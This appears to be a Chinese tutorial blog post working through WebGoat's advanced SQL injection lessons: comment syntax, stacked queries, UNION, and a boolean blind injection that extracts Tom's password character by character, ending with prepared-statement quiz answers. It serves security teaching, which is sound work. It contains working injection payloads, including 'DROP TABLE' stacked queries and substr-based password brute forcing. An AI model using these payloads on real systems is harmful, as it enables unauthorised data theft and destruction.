讲了本模块能学习到更进一步的SQL注入,目标是学习联合查询注入和SQL盲注。
/* */ 内联注释
-- , # 单行注释
Example:
SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
equal:
SELECT * FROM users WHERE name = 'admin'
; 允许链接查询
Example:
SELECT * FROM users; DROP TABLE users;
equal:
SELECT * FROM users;
DROP TABLE users;
',+,|| 允许字符串连接
Char() 不带引号的字符串
Example:
SELECT * FROM users WHERE name = '+char(27) OR 1=1
Union运算符用于组合两个或多个SELECT语句的结果。
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
Join运算符用于根据相关列合并两个或多个表中的行
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
题目要求我们查询另外的一张表user_system_data
,我们只需要把当前要执行的sql语句闭合,然后再输入查询另外一张表的sql语法即可。
首先看下当前执行的sql语句是什么。
SELECT * FROM user_data WHERE last_name = 'abc'
发现当前执行的sql语句是单引号闭合的,因此我们可以先添加一个单引号进行闭合,然后使用堆叠注入来插入自己要执行的sql语句即可,需要注意的是,结尾需要进行注释,将后面的sql语句进行注释。
abc' ; select * from user_system_data --
最终执行的是
SELECT * FROM user_data WHERE last_name = 'abc' ; select * from user_system_data --'
没有采用java中的预编译preparedstatement
来进行处理,因此存在sql注入漏洞。
介绍了sql盲注的概念和使用场景,以及sql盲注的难点是在没有显示任何内容的情况下,需要根据正确或错误的语句来判断当前的语句是否执行正确。
sql盲注有两种,一种是基于时间的sql盲注,还有一种是基于布尔盲注。
基于时间的sql盲注例子:
就是根据语句的执行时间来判断是否注入。
SELECT * FROM articles WHERE article_id = 4 and sleep(10) --
基于布尔的sql盲注例子:
就是判断sql语句的正确与否来进行注入。
SELECT * FROM articles WHERE article_id = 4 and 1 = 1
要求我们使用Tom用户进行登录,有页面两个功能,一个登录功能,还有一个的注册功能。
首先查看下登录功能的源码,需要抓包得到url是/SqlInjectionAdvanced/challenge_Login
。
发现使用了预编译preparedstatement
,还使用了问号对sql语句进行了占位,因此是安全的,所以无法从登陆款进行下手。
查看下注册功能的源码,抓包得到url是/SqlInjectionAdvanced/challenge
。
根据源码来构造tom用户来进行注册,发现返回的结果证明了tom用户是存在的。
username_reg=tom&email_reg=1111111111%40qq.com&password_reg=admin&confirm_password_reg=admin
查找注入点,发现注入点和源码分析的一样是在username_reg
中(这里需要注意的是,需要把前面的置为错误,后面置为正确的才能够判断不是前面的原因导致的sql执行正确)
username_reg=tom1' or 1=1 -- +
查看下密码的长度。
这里是根据lessonCompleted
字段来判断的,如果值为false
,就说明sql语句的执行结果是正确的;否则就是错误的。
也可以采用返回结果中是否有already
来判断,如果有也能说明是正确的。
username_reg=tom1' or length(password)>10 -- +
一个个试,最终锁定长度是23
username_reg=tom1' or length(password)=23 -- +
然后根据password的长度,来使用substr函数来进行逐个密码字符的爆破,
username_reg=tom1' or substr(password,1,1)='t' -- +
最终得到的密码是thisisasecretfortomonly
但是,这里是不严谨的,首先本关卡不知道表名字,因此我们就无法得到其中的列,而我们这里的password
就是其中的一列数据。
其次,我通过源码的翻找,发现该题的sql数据有四行数据,因此会出现password
的某些位置会出现多个相等的情况。
1.
prepared statement
和statement
的区别是什么?statement
有值,而不是一条预编译的语句。2.
3.
prepared statements
哪里比statements
快?prepared statements
由等待输入的数据库管理系统编译一次,并以这种方式进行预编译。4.
prepared statement
如何防止SQL注入?5.
Robert); DROP TABLE Students;--
会发生什么?Robert
,并且删除Students表原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。